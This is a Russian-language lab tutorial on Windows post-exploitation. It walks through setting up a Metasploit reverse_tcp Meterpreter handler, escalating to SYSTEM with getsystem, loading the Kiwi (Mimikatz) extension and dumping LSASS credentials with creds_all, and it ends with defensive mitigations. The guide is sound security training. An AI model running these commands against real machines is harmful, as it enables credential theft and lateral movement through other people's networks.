Введение
На этапе пост-эксплуатации при тестировании на проникновение одной из основных целей является сбор учетных данных для бокового перемещения по сети. Meterpreter от Metasploit — это мощный пейлоад, который предоставляет интерактивную оболочку на скомпрометированной системе.
Одной из наиболее мощных функций Meterpreter является расширение Kiwi, которое представляет собой порт известного инструмента Mimikatz. Kiwi позволяет злоумышленникам извлекать пароли в открытом виде, хэши, PIN-коды и билеты Kerberos непосредственно из памяти целевой машины, в частности из процесса Local Security Authority Subsystem Service (LSASS).
В этой лаборатории вы научитесь загружать и использовать расширение Kiwi в сессии Meterpreter для дампа учетных данных с симулированной цели Windows.
Получение сессии Meterpreter с привилегиями SYSTEM на цели Windows
На этом шаге мы симулируем получение доступа к целевой машине. В реальном сценарии вы бы использовали эксплойт для доставки пейлоада. Здесь мы настроим слушатель (listener) с использованием консоли Metasploit Framework. Симулированная цель затем подключится к нашему слушателю, предоставив нам сессию Meterpreter.
Сначала запустите консоль Metasploit. Флаг -q позволяет запустить ее тихо, без отображения баннера.
msfconsole -q
Далее мы настроим слушатель для "захвата" входящего соединения от симулированной цели. Для этого мы используем модуль multi/handler.
use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444
Теперь запустите слушатель как фоновую задачу, используя exploit -j.
exploit -j
Через несколько мгновений будет создана сессия. Вы можете просмотреть активные сессии с помощью команды sessions.
sessions
Вы должны увидеть вывод, указывающий на активную сессию, похожий на этот:
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/windows WIN-TARGET\LabUser @ WIN-TARGET 127.0.0.1:4444 -> 127.0.0.1:54321 (...)
Теперь взаимодействуйте с сессией 1.
sessions -i 1
Ваш приглашение изменится на meterpreter >. Чтобы эффективно использовать Kiwi, нам нужен наивысший уровень привилегий — NT AUTHORITY\SYSTEM. Мы можем попытаться повысить наши привилегии с помощью команды getsystem.
getsystem
Вы должны увидеть сообщение ...got system. Проверьте свою новую личность, выполнив команду getuid.
getuid
Ожидаемый вывод должен быть следующим:
Server username: NT AUTHORITY\SYSTEM
Теперь у вас есть сессия Meterpreter с привилегиями SYSTEM, готовая к следующим шагам.
Загрузка расширения kiwi с помощью команды load kiwi
На этом шаге вы загрузите расширение Kiwi в вашу сессию Meterpreter. Meterpreter является модульным, и его расширения предоставляют дополнительную функциональность, которая не загружается по умолчанию, чтобы сохранить начальный пейлоад небольшим. Расширение Kiwi содержит все команды, необходимые для выполнения дампа учетных данных в стиле Mimikatz.
Из вашего приглашения meterpreter > используйте команду load для добавления расширения Kiwi.
load kiwi
Если команда выполнена успешно, Meterpreter подтвердит, что расширение было загружено.
Loading extension kiwi...Success.
После загрузки расширения Kiwi у вас теперь есть доступ к новому набору мощных команд для сбора учетных данных.
Просмотр доступных команд kiwi с помощью help
На этом шаге вы проверите доступность команд Kiwi. После загрузки любого расширения в Meterpreter вы можете использовать команду help для просмотра обновленного списка всех доступных команд. Это хорошая практика для подтверждения корректной загрузки расширения и ознакомления с новыми возможностями.
Из приглашения meterpreter > просто введите help.
help
Вывод будет представлять собой длинный список всех команд Meterpreter, сгруппированных по разделам. Прокрутите вывод, и вы должны найти новый раздел под названием "Kiwi Commands". Этот раздел перечисляет все функции, предоставляемые расширением Kiwi.
...
Kiwi Commands
=============
Command Description
------- -----------
creds_all Retrieve all credentials (parsed)
creds_kerberos Retrieve Kerberos creds (parsed)
creds_msv Retrieve MSV credentials (parsed)
creds_ssp Retrieve SSP credentials (parsed)
creds_tspkg Retrieve TSPKG credentials (parsed)
creds_wdigest Retrieve WDigest credentials (parsed)
dcsync Retrieve user account information via DCSync
dcsync_ntlm Retrieve user NTLM hash via DCSync
golden_ticket_create Create a golden kerberos ticket
kerberos_ticket_list List all kerberos tickets
kerberos_ticket_purge Purge any in-use kerberos tickets
kerberos_ticket_use Use a kerberos ticket
kiwi_cmd Execute a custom command
lsa_dump_sam Dump LSA SAM
lsa_dump_secrets Dump LSA secrets
wifi_list List wifi profiles/creds
wifi_list_shared List shared wifi profiles/creds
...
Как вы можете видеть, Kiwi добавляет множество мощных команд для взаимодействия с механизмами аутентификации Windows.
Дамп всех доступных учетных данных с помощью команды creds_all
На этом шаге вы выполните основную команду расширения Kiwi для дампа всех учетных данных, найденных в памяти. Команда creds_all представляет собой удобную обертку, которая одновременно запускает несколько различных модулей сбора учетных данных, нацеленных на различные пакеты аутентификации, такие как WDigest, Kerberos и MSV.
Помните, что для доступа к памяти процесса LSASS требуются привилегии SYSTEM, поэтому на первом шаге мы выполнили команду getsystem.
Из вашего приглашения meterpreter > выполните команду creds_all.
creds_all
Выполнение команды займет некоторое время, поскольку она анализирует процесс LSASS. Вывод будет подробным, показывая учетные данные, найденные для различных поставщиков. Ниже приведен пример того, что вы можете увидеть.
[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============
AuthID Package Domain User Password
------ ------- ------ ---- --------
0;109871 NTLM WIN-TARGET LabUser (null)
0;99876 NTLM WIN-TARGET WIN-TARGET$ (null)
wdigest credentials
===================
AuthID Package Domain User Password
------ ------- ------ ---- --------
0;109871 WDigest WIN-TARGET LabUser P@ssword123!
0;99876 WDigest WIN-TARGET WIN-TARGET$ (null)
kerberos credentials
====================
AuthID Package Domain User Password
------ ------- ------ ---- --------
0;109871 Kerberos WIN-TARGET LabUser P@ssword123!
0;99876 Kerberos WIN-TARGET WIN-TARGET$ (null)
...
Вы успешно выполнили дамп учетных данных из памяти целевой системы. Следующий шаг — анализ этого вывода.
Анализ вывода на предмет паролей в открытом виде
На этом заключительном шаге вы проанализируете вывод команды creds_all для выявления паролей в открытом виде. Возможность находить учетные данные в открытом тексте делает такие инструменты, как Kiwi и Mimikatz, настолько мощными для бокового перемещения.
Просмотрите вывод, полученный на предыдущем шаге. Данные организованы по пакетам аутентификации:
- msv: Этот пакет обрабатывает стандартную аутентификацию NTLM. Обычно он предоставляет хэши паролей, а не пароли в открытом виде, если только пользователь недавно не входил в систему интерактивно.
- wdigest: В старых системах Windows или в системах, где он явно включен, WDigest хранит в памяти обратимо зашифрованную копию пароля пользователя. Kiwi может легко расшифровать ее, раскрывая пароль в открытом виде. Это часто самый ценный раздел.
- kerberos: Этот пакет управляет билетами Kerberos. Подобно WDigest, он также может кэшировать пароли в открытом виде для вошедших пользователей.
- ssp и tspkg: Эти пакеты обрабатывают учетные данные для других служб, таких как подключения к удаленному рабочему столу.
В примере вывода из предыдущего шага вы можете четко увидеть пароль в открытом виде для пользователя LabUser как в разделах wdigest, так и kerberos:
wdigest credentials
===================
...
0;109871 WDigest WIN-TARGET LabUser P@ssword123!
...
kerberos credentials
====================
...
0;109871 Kerberos WIN-TARGET LabUser P@ssword123!
...
Тщательно изучая вывод и ища значения, отличные от (null), в столбце Password, вы можете собрать ценные учетные данные. Эта информация затем может быть использована для доступа к другим системам или службам от имени этого пользователя.
Резюме
В этой лабораторной работе вы успешно выполнили классический метод пост-эксплуатации. Вы начали с получения сессии Meterpreter с привилегиями SYSTEM на симулированной цели Windows. Затем вы загрузили расширение Kiwi, которое интегрирует функциональность Mimikatz в Meterpreter.
Используя команду creds_all, вы извлекли учетные данные непосредственно из памяти процесса LSASS. Наконец, вы проанализировали вывод, чтобы извлечь пароль в открытом виде для вошедшего пользователя.
Это упражнение подчеркивает важность усиления безопасности конечных точек. Меры защиты от такого типа атак включают:
- Отключение аутентификации WDigest.
- Включение защиты LSA (RunAsPPL).
- Реализация принципа наименьших привилегий для обеспечения того, чтобы пользователи и процессы не имели ненужных административных прав.
Теперь у вас есть практическое понимание того, как злоумышленники могут использовать дамп учетных данных в памяти для дальнейшего компрометирования сети.


